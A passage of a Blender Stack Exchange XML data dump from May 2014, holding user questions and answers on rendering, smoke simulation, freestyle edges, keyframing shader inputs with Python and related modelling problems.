3.0" />
  <row Id="10546" PostTypeId="2" ParentId="10545" CreationDate="2014-05-20T16:35:46.630" Score="3" Body="&lt;p&gt;Blender supports the &lt;a href=&quot;http://en.wikipedia.org/wiki/STL_%28file_format%29&quot; rel=&quot;nofollow&quot;&gt;STL (STereoLithography)&lt;/a&gt; format which is supported by all printers and considered as standard for prototyping.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Shapeways for example supports the file types: STL, OBJ, X3D, Collada or VRML97/2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender comes with support of STL, OBJ, X3D and Collada. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Data_System/Files/Import&quot; rel=&quot;nofollow&quot;&gt;Documentation on import formats&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Data_System/Files/Export&quot; rel=&quot;nofollow&quot;&gt;Documentation on export formats&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;When there is a public demand for a specific file format someone will create an import / export addon for it.&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-05-20T16:35:46.630" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10547" PostTypeId="2" ParentId="10510" CreationDate="2014-05-20T17:12:48.377" Score="1" Body="&lt;p&gt;Well, inspired/directed/advised (?) by wise words from @sambler my &lt;strong&gt;FINAL WORKING CODE&lt;/strong&gt; is this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;links.new(nodes[i.from_node.name].outputs[int(i.from_socket.path_from_id()[-2:-1])], nodes[i.to_node.name].inputs[int(i.to_socket.path_from_id()[-2:-1]])&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanx once again, @sambler ;)&lt;/p&gt;&#xA;" OwnerUserId="3462" LastActivityDate="2014-05-20T17:12:48.377" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10549" PostTypeId="1" AcceptedAnswerId="10573" CreationDate="2014-05-20T19:55:08.027" Score="5" ViewCount="1273" Body="&lt;p&gt;Is there a way to mark all edges to be rendered with freestyle, without marking all edges as freestyle lines in each individual object one by one?&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2016-04-07T15:19:39.260" Title="How to make all edges in the scene rendered by freestyle?" Tags="&lt;freestyle&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10551" PostTypeId="1" AcceptedAnswerId="10552" CreationDate="2014-05-20T20:59:16.200" Score="1" ViewCount="1384" Body="&lt;p&gt;I'm following &lt;a href=&quot;http://vimeo.com/24551362&quot; rel=&quot;nofollow&quot;&gt;this tutorial&lt;/a&gt;, and at 35:05 when he moves from the materials to the textures section there's loads of stuff in there, but on my screen there's nothing, it's completely empty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong? I can't find any manuals or tutorials in Blender 2.70a (what I'm using) cause it's really new, so is this a difference between versions? He's obviously using something older than 2.7 in the tutorial, but it doesn't look that different and I've been able to work out any problems until now. So how do I fix this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Link to &lt;a href=&quot;https://www.dropbox.com/s/yse3n1d3tywc02f/RSKBS%20Intro%20v2.blend&quot; rel=&quot;nofollow&quot;&gt;blend file&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3557" LastEditorUserId="2217" LastEditDate="2014-05-20T22:17:01.723" LastActivityDate="2014-05-20T22:17:01.723" Title="Why is the texture section empty" Tags="&lt;texturing&gt;&lt;interface&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10552" PostTypeId="2" ParentId="10551" CreationDate="2014-05-20T21:14:53.797" Score="1" Body="&lt;p&gt;You had the properties panel &lt;em&gt;pinned&lt;/em&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pinning will make the panel display the properties of a specific object (the active object when the pin icon was pressed), instead of displaying the properties of the currently active object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Click the little pin icon, and it should appear as expected:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PoW07.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-05-20T21:21:19.507" LastActivityDate="2014-05-20T21:21:19.507" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10553" PostTypeId="1" CreationDate="2014-05-20T21:37:15.977" Score="4" ViewCount="1427" Body="&lt;p&gt;I'm trying to animate the colour and strength properties of an emission shader based on external data using script. I add a cube and give it an emission shader. I can alter the strength property using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.context.active_object.active_material.node_tree.nodes['Emission'].inputs['Strength'].default_value=1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I then try to add a keyframe on the strength property using: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.context.active_object.active_material.keyframe_insert(data_path=&quot;nodes[\&quot;Emission\&quot;].inputs[1].default_value&quot;,frame=10)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I can't get the correct data_path. I must be missing something fundamental here. I have quite limited scripting experience in blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Code suggestions gratefully received.&lt;/p&gt;&#xA;" OwnerUserId="3556" LastEditorUserId="12" LastEditDate="2014-05-20T22:13:27.713" LastActivityDate="2014-05-21T11:07:07.743" Title="Keyframing emission shader colour/strength using python" Tags="&lt;python&gt;&lt;scripting&gt;&lt;materials&gt;&lt;properties&gt;&lt;keyframes&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10554" PostTypeId="1" AcceptedAnswerId="10555" CreationDate="2014-05-20T22:20:10.463" Score="2" ViewCount="1909" Body="&lt;p&gt;I'm following &lt;a href=&quot;http://vimeo.com/24551362&quot; rel=&quot;nofollow&quot;&gt;this tutorial&lt;/a&gt; and at 32:45 he tests out the smoke emitter, and I've followed every step to that point, and it doesn't work for me. He starts explaining how to do it at 30:15. &lt;a href=&quot;https://www.dropbox.com/s/yse3n1d3tywc02f/RSKBS%20Intro%20v2.blend&quot; rel=&quot;nofollow&quot;&gt;Here's a link to my .blend file&lt;/a&gt;, can someone please explain to me (very simply) what I'm doing wrong here?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;p.s. sorry for asking so many questions!&lt;/p&gt;&#xA;" OwnerUserId="3557" LastEditorUserId="12" LastEditDate="2014-05-20T23:55:46.870" LastActivityDate="2014-05-20T23:55:46.870" Title="Smoke emitter not rendering in viewport" Tags="&lt;smoke-simulation&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10555" PostTypeId="2" ParentId="10554" CreationDate="2014-05-20T22:24:45.283" Score="2" Body="&lt;p&gt;You have the domain settings on what should be the emitter object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The domain should be the cube around the cylinder, and the emitter object should be the cylinder inside it (see the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Physics/Smoke&quot; rel=&quot;nofollow noreferrer&quot;&gt;wiki&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that the smoke simulator was updated a bit in blender 2.64, so to get an the same effect in 2.70a:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Enable the smoke domain for the cube object:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XkR7t.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Adaptive domain&lt;/em&gt; is a setting which was added in 2.64, and it basically just skips calculating parts of the domain which don't have smoke in or near them. Enabling it should speed up the simulation without affecting the result.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Enable the smoke flow physics on the cylinder (in your file this was set to domain)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3Obtx.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure &lt;em&gt;Initial&lt;/em&gt; velocity is enabled. You may also want to up the number subframe smaples, but note that this will slow down the simulation. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-05-20T22:35:51.480" LastActivityDate="2014-05-20T22:35:51.480" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10556" PostTypeId="1" AcceptedAnswerId="10558" CreationDate="2014-05-20T22:57:06.973" Score="6" ViewCount="2839" Body="&lt;p&gt;I'm making an intro with music, and I have objects that need to move with the music. It's not on the beat, slightly random, so I can't use regular intervals.&#xA;Is there a way to do this? I'm not sure if you can use a similar method to lip syncing. Any help greatly appreciated!&lt;/p&gt;&#xA;" OwnerUserId="3090" LastEditorUserId="599" LastEditDate="2016-03-17T02:52:39.533" LastActivityDate="2016-03-17T02:52:39.533" Title="How to move an object with sound?" Tags="&lt;animation&gt;&lt;workflow&gt;&lt;audio&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="10557" PostTypeId="1" AcceptedAnswerId="10559" CreationDate="2014-05-20T23:29:22.427" Score="2" ViewCount="664" Body="&lt;p&gt;I have this stick figure kind of guy doing a dance. He is clearly there in solid mode and texture mode:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SXroX.png&quot; alt=&quot;Solid Mode&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/90igi.png&quot; alt=&quot;Texture Mode&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when I go into render mode or just try to render an image, it's gone:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pCVQS.jpg&quot; alt=&quot;Render Mode&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/DlWFC.jpg&quot; alt=&quot;Rendered&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't for the life of me figure out what inconsequential silly mistake I am making. I probably just need another pair of eyes to look at it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a link to the .blend file. Don't judge me, I'm trying to teach myself rigging and animation: &lt;a href=&quot;http://speedy.sh/E9MH4/DANCE-2.blend&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://speedy.sh/E9MH4/DANCE-2.blend&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3326" LastEditorUserId="3710" LastEditDate="2015-07-13T20:47:49.117" LastActivityDate="2015-07-13T20:47:49.117" Title="Cycles is not rendering armature object" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;armature&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10558" PostTypeId="2" ParentId="10556" CreationDate="2014-05-20T23:29:26.177" Score="7" Body="&lt;p&gt;You can bake sounds to fcurves:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Insert a keyframe (&lt;kbd&gt;&lt;code&gt;I&lt;/code&gt;&lt;/kbd&gt;) on the transform channel you want to be controlled by the sound (e.g. Z scale).&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In the &lt;em&gt;Graph editor&lt;/em&gt;, press &lt;em&gt;Key &amp;gt; Bake sound to fcurves&lt;/em&gt; and navigate to a sound file. Optionally change the import settings at the bottom of the tool shelf in the file manager:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5C4WR.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Press enter.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Now that channel will change according to the baked fcurve.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/44paz.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-05-20T23:29:26.177" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10559" PostTypeId="2" ParentId="10557" CreationDate="2014-05-20T23:48:01.427" Score="2" Body="&lt;p&gt;You have &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Objects/Duplication/DupliVerts&quot; rel=&quot;nofollow noreferrer&quot;&gt;dupliverts&lt;/a&gt; (&lt;em&gt;Properties &gt; Object &gt; Duplication&lt;/em&gt;) enabled on the armature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Disable them, and then everything works as expected:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/o1Rq0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An object with dupliverts enabled renders instances of itself on the vertices of child objects. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As your object has no child objects, it just disappears.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-09-01T19:50:56.177" LastActivityDate="2014-09-01T19:50:56.177" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10560" PostTypeId="1" AcceptedAnswerId="10577" CreationDate="2014-05-21T01:24:09.853" Score="4" ViewCount="1764" Body="&lt;p&gt;I'm trying to use drivers to allow a lamp rotation to dictate the direction of my normal node. The problem seems to be that the sun can rotate from 0-360 degrees, but the driver has a limit of 0-90 degrees, so the rotations do not match up. Is there any way around this? Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uiuE0.png&quot; alt=&quot;Screenshot:&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3558" LastActivityDate="2020-01-21T05:40:38.133" Title="How to correctly drive a normal node with lamp rotation?" Tags="&lt;cycles-render-engine&gt;&lt;normals&gt;&lt;drivers&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10561" PostTypeId="1" CreationDate="2014-05-21T01:37:00.163" Score="2" ViewCount="401" Body="&lt;p&gt;I am a complete beginner when it comes to 3d modeling and have just started to use Blender version 2.70a&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have been following this tutorial step by step from the beginning: &lt;a href=&quot;http://en.wikibooks.org/wiki/Blender_3D:_Noob_to_Pro/Beginner_Tutorials/Print_version#Improving_Your_House&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://en.wikibooks.org/wiki/Blender_3D:_Noob_to_Pro/Beginner_Tutorials/Print_version#Improving_Your_House&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything has gone really well up to module 20 &quot;Improving Your House&quot; where I have come up against a problem: I get borders in the between some of the windows and the doors when I do the extrusion, as shown in the image below:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/5pRiL.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They also show in the final render. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know how to get rid of them. &lt;/p&gt;&#xA;" OwnerUserId="3559" LastEditorUserId="3401" LastEditDate="2014-05-21T02:52:02.453" LastActivityDate="2014-11-03T05:33:29.293" Title="help with walls when extruding - total beginner" Tags="&lt;modeling&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10562" PostTypeId="2" ParentId="10561" CreationDate="2014-05-21T02:06:32.800" Score="1" Body="&lt;p&gt;First, you get rid of the rows of faces between the middle window, and the door, by deactivating the current selection with the Akey, and then selecting the rows of faces between the doors and the middle windows. And while you're deleting faces, you might want to delete the faces like those on the the part of the roof on the long side, between the triangle and the trapezoid.&lt;/p&gt;&#xA;" OwnerUserId="3401" LastActivityDate="2014-05-21T02:06:32.800" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10563" PostTypeId="1" CreationDate="2014-05-21T02:37:11.090" Score="3" ViewCount="433" Body="&lt;p&gt;I'm trying to use the rolloff effect in 3D sound, but am having trouble. I have a near sensor which is triggering properly, but no matter where the character stands in my scene, there is no rolloff to the sound -- it's either on or off. Here's the settings. I can't find any decent documentation on this, and the properties don't seem particularly intuitive. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;These are my settings:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PWTzP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3560" LastEditorUserId="2217" LastEditDate="2014-07-29T14:13:22.830" LastActivityDate="2014-08-28T14:55:41.373" Title="3D Sound - no rolloff?" Tags="&lt;game-engine&gt;&lt;logic-bricks&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10564" PostTypeId="1" AcceptedAnswerId="10566" CreationDate="2014-05-21T03:00:29.607" Score="6" ViewCount="4828" Body="&lt;p&gt;I am having difficulties with the Glass shader because there are no caustics and the shadows that show up in the glass shaded object look as if they are blobs of ink.&lt;br&gt;&#xA;I do have the 'No Caustics' option disabled, and from the research I've done, this one checkbox is the only one that people seem to be mentioning when it comes to caustics.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have advice on how to deal with this issue?  Here's a screen capture of the scene setup that I'm working on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gcgFf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1448" LastEditorUserId="599" LastEditDate="2014-05-21T03:37:36.507" LastActivityDate="2014-05-21T20:12:07.500" Title="Cycles is not rendering caustics, even though &quot;No Caustics&quot; is disabled?" Tags="&lt;cycles-render-engine&gt;&lt;light&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10565" PostTypeId="1" CreationDate="2014-05-21T03:19:01.060" Score="3" ViewCount="2150" Body="&lt;p&gt;I was trying to animate a plant. For that purpose I created a curve, gave it a bevel depth and animated start bevel factor, but then I got a problem - curves can't have branches. There are various ways to fake branches but I need them to start growing exactly in the moment when trunk reaches the branch height. Do you know how to make a plant with controlled shape to properly grow without animating all and every branch separately?&lt;/p&gt;&#xA;" OwnerUserId="3440" LastActivityDate="2014-05-21T05:56:09.730" Title="How to animate a growing plant with branches?" Tags="&lt;bezier-curves&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10566" PostTypeId="2" ParentId="10564" CreationDate="2014-05-21T03:20:13.123" Score="5" Body="&lt;p&gt;Lamps (with the exception of mesh lamps) will not cast caustics if they don't have &lt;a href=&quot;https://blender.stackexchange.com/q/8152/599&quot;&gt;&lt;em&gt;Multiple Importance Sampling&lt;/em&gt;&lt;/a&gt; enabled on them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure any lamps in your scene have this enabled:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/D7rNk.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.577" LastActivityDate="2014-05-21T20:12:07.500" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="10567" PostTypeId="1" AcceptedAnswerId="10570" CreationDate="2014-05-21T04:01:53.233" Score="1" ViewCount="627" Body="&lt;p&gt;Ive come across this problem here : When i set my camera at the position which looks , i render it and it looks stretched and not so good . What camera settings should i have on?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/p7tRo.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see , on the left side , it is upright , and everything looks handy dandy .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But on the &lt;strong&gt;RIGHT&lt;/strong&gt; side , the render is stretched and its just ... ugly !&lt;/p&gt;&#xA;" OwnerUserId="1829" LastActivityDate="2014-05-21T04:53:58.810" Title="Render camera view like 3d view?" Tags="&lt;camera&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10568" PostTypeId="2" ParentId="10565" CreationDate="2014-05-21T04:10:09.743" Score="2" Body="&lt;p&gt;Blender has no straightforward way to do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think you would have to script this (automate animating each curve by checking its parent branches growth and only start growing when appropriate).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is reasonably involved to do, but this kind of task is well supported by Blender's API (you have access to all data you need).&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-05-21T04:10:09.743" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10569" PostTypeId="2" ParentId="10561" CreationDate="2014-05-21T04:26:50.013" Score="4" Body="&lt;p&gt;Generally two Steps to get rid of them:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;For all &quot;zero-area&quot; faces, &lt;kbd&gt;A&lt;/kbd&gt; to select all, then &lt;kbd&gt;W&lt;/kbd&gt;  &gt; &lt;em&gt;Remove Doubles&lt;/em&gt;;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;For the &quot;zero-thickness&quot; frame on the window (where non-manifold appears), you can select them manually, then &lt;kbd&gt;X&lt;/kbd&gt; to delete. Or, if there are too many of them and you want a quicker selection, &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;M&lt;/kbd&gt; to select all non-manifold elements (must be operated in &lt;strong&gt;Vertex/Edge Select&lt;/strong&gt; mode), then on the menu: &lt;strong&gt;Select&lt;/strong&gt; &gt; &lt;em&gt;Select Loop Inner-Region&lt;/em&gt;. Then delete the selected faces.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In 2.72 or later version, for the second step above, another convenient way is: &#xA;First, be sure that you using &lt;strong&gt;Edge Select&lt;/strong&gt; mode, then &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;M&lt;/kbd&gt;, then hit &lt;kbd&gt;F6&lt;/kbd&gt;, toggle nothing except &lt;em&gt;Boundaries&lt;/em&gt;, then switch to &lt;strong&gt;Face Select&lt;/strong&gt; mode while holding &lt;kbd&gt;Ctrl&lt;/kbd&gt;. Then delete all faces that are selected.&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2014-11-03T05:33:29.293" LastActivityDate="2014-11-03T05:33:29.293" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10570" PostTypeId="2" ParentId="10567" CreationDate="2014-05-21T04:48:33.663" Score="4" Body="&lt;p&gt;Normally, that's caused by the &lt;strong&gt;Aspect Ratio&lt;/strong&gt; setting you've made.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/i7d4t.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It will change the anamorphic pixel aspect, and output the final render based on the actual X/Y resolution in &lt;strong&gt;Render&lt;/strong&gt; setting. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Set &lt;code&gt;1.000&lt;/code&gt; for both X and Y, which is the default value, and will solve the stretching.&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2014-05-21T04:53:58.810" LastActivityDate="2014-05-21T04:53:58.810" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10571" PostTypeId="2" ParentId="10565" CreationDate="2014-05-21T05:56:09.730" Score="3" Body="&lt;p&gt;You'll need to do some manual tweaking and timing, no doubt. Automating this would make sense if you had a massive amount of plants to process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've used the following method when animating growing plants with branches which I've found relatively easy to do. Admittedly it was on 3dsMax, but I believe the same steps applies to Blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First off, I always work with a mesh. Then I build a quick rig/armature loosely following the branching of the plant. Usually automatic skinning works fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To animate it grow, I take the starting pose and scale each bone to zero. I flip the starting and ending keyframes so the plant grows instead of shrinks. And since every bone inherits the scale of its parent, you get a nice, gradually cascading effect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Things to tweak at this point are the timing of when the branches start to grow (wait for the parent bone to grow to full size before beginning its own scaling, for example), and slight rotation of each branch.&lt;/p&gt;&#xA;" OwnerUserId="3420" LastActivityDate="2014-05-21T05:56:09.730" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10572" PostTypeId="1" CreationDate="2014-05-21T06:55:39.630" Score="2" ViewCount="138" Body="&lt;p&gt;I'm using the BGE and I have an object that I defined as a &quot;Rigid Body&quot; in &quot;Physics&quot;. I need to lock the X local coordinate but, if I lock it in &quot;Lock translation&quot;, this lock the X global coordinate. How could I do to lock only X local?&lt;/p&gt;&#xA;" OwnerUserId="2821" LastActivityDate="2014-05-21T06:55:39.630" Title="Locking a local coordinate" Tags="&lt;game-engine&gt;&lt;coordinates&gt;" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10573" PostTypeId="2" ParentId="10549" CreationDate="2014-05-21T10:51:21.610" Score="6" Body="&lt;p&gt;A simple python script can turn them all on/off&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;for object in bpy.data.objects:&#xA;    if object.type == 'MESH':&#xA;        for edge in object.data.edges:&#xA;            edge.use_freestyle_mark = True&#xA;&#xA;        #show the marked edges&#xA;        object.data.show_freestyle_edge_marks = True&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Just paste this into the text editor, and press the hotkey &lt;kbd&gt;ALT&lt;/kbd&gt;&lt;kbd&gt;P&lt;/kbd&gt;, or the &lt;kbd&gt;Run Script&lt;/kbd&gt; button to run it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, to remove the marks, just change &lt;code&gt;True&lt;/code&gt;'s to &lt;code&gt;False&lt;/code&gt;, and run the script and they should all be gone.&lt;/p&gt;&#xA;" OwnerUserId="935" LastEditorUserId="8262" LastEditDate="2015-06-24T20:16:46.743" LastActivityDate="2015-06-24T20:16:46.743" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10574" PostTypeId="2" ParentId="10553" CreationDate="2014-05-21T11:07:07.743" Score="2" Body="&lt;p&gt;You need to get a bit closer to what you want to keyframe. It is the socket that keyframes one of it's values, not the material. So you want to tell the input socket to insert a keyframe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So this slight variation of what you have will work (only over two lines for clarity) -&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;node = bpy.context.active_object.active_material.node_tree.nodes['Emission']&#xA;node.inputs[1].keyframe_insert(data_path=&quot;default_value&quot;,frame=10)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-05-21T11:07:07.743" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10575" PostTypeId="1" CreationDate="2014-05-21T11:08:00.913" Score="1" ViewCount="73" Body="&lt;p&gt;I'm trying to deform a &quot;chain&quot; to follow a NURBS curve, but there's a weird inversion at the bottom of the loop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HWdfm.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/qZgGS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried various applies, scales, subdivisions, but the basic issue remains.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any insights, I'm stumped.&lt;/p&gt;&#xA;" OwnerUserId="3194" LastActivityDate="2014-05-22T07:44:03.887" Title="Curve modifer has unusual inversion" Tags="&lt;modifiers&gt;&lt;bezier-curves&gt;" AnswerCount="1" CommentCount="2" ClosedDate="2014-05-22T15:06:03.663" ContentLicense="CC BY-SA 3.0" />
